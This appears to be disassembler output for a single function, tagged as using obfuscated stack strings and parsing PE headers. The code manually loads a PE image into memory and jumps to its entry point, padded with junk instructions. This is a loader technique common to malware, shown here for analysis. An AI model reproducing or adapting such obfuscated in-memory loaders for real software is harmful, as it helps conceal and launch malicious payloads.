Function at 0x401940
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x516eb0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x55d3d0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
push 0x555420
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 0
push ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], 0x30
call fcn.004f8145
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x540480
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [ebp - 0x30], eax
nop
nop
nop
nop
nop
nop
nop
nop
push 0x540464
push str.kernel32.dll
call edi
push eax
call esi
mov dword [ebp - 0x38], eax
inc eax
dec ebx
dec eax
inc ebx
lea edx, [ebp - 0x24]
push edx
push str.kernel32.dll
mov dword [ebp - 0x24], 0x50746547
mov dword [ebp - 0x20], 0x65636f72
mov dword [ebp - 0x1c], 0x65487373
mov word [ebp - 0x18], 0x7061
mov byte [ebp - 0x16], 0
call edi
push eax
call esi
mov dword [ebp - 0x34], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x28]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x401a28
inc eax
dec ebx
dec eax
inc ebx
mov eax, 0x401a21
ret
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
mov dword [ebp - 0x2c], esi
je 0x401a3e
mov eax, 0x401a21
ret
inc eax
dec ebx
dec eax
inc ebx
mov edx, dword [esi + 0x50]
mov eax, dword [esi + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push edx
push eax
call ebx
mov edi, eax
test edi, edi
jne 0x401a6f
mov ecx, dword [esi + 0x50]
push 4
push 0x2000
push ecx
push eax
call ebx
mov edi, eax
inc eax
dec ebx
dec eax
inc ebx
xor ebx, ebx
cmp edi, ebx
jne 0x401a7f
mov eax, 0x401a21
ret
nop
nop
nop
nop
push 0x14
push ebx
call dword [ebp - 0x34]
push eax
call dword [ebp - 0x30]
mov esi, eax
mov dword [ebp - 0x30], esi
mov dword [esi + 4], edi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0x10], ebx
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 0x2c]
mov edx, dword [ebx + 0x50]
push 4
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebx + 0x54]
push 4
push 0x1000
push eax
push edi
call dword [ebp - 0x38]
mov ebx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov edx, dword [ecx + 0x54]
add edx, dword [eax + 0x3c]
push edx
push eax
push ebx
call fcn.004f92b0
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x3c]
add ecx, ebx
add esp, 0xc
mov dword [esi], ecx
inc eax
dec ebx
dec eax
inc ebx
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov edx, dword [esi]
push esi
push ebx
push eax
mov dword [edx + 0x34], edi
call fcn.004011f0
add esp, 0xc
nop
nop
nop
nop
nop
mov eax, edi
sub eax, dword [ebx + 0x34]
je 0x401b2e
push eax
push esi
call fcn.004015f0
add esp, 8
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00401700
add esp, 4
nop
nop
nop
nop
nop
nop
push esi
call fcn.00401470
add esp, 4
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x401b73
add eax, edi
nop
nop
nop
push 0
push 1
push edi
call eax
inc eax
dec ebx
dec eax
inc ebx
mov dword [esi + 0x10], 1
mov eax, 0x401b79
ret